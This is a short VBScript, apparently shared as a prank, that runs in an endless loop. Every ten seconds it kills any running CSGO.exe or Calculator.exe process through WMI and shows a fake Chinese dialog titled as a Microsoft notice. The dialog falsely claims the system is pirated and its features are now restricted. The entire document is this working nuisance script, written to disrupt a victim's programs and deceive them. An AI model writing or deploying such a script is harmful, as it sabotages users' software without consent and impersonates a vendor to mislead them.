MSGBOX可有可无

On Error Resume Next

Dim bag,pipe,honker,good

Do

good="."

set bag=getobject("winmgmts://"& good &"/root/cimv2")

set pipe=bag.execquery("select * from win32_process where name='CSGO.exe' or name='Calculator.exe'")

for each i in pipe

i.terminate()

msgbox "您可能是盗版系统受害者，现已进行功能限制" & vbcrlf & "请使用正版系统！",,"微软提示"

next

wscript.sleep 10000

loop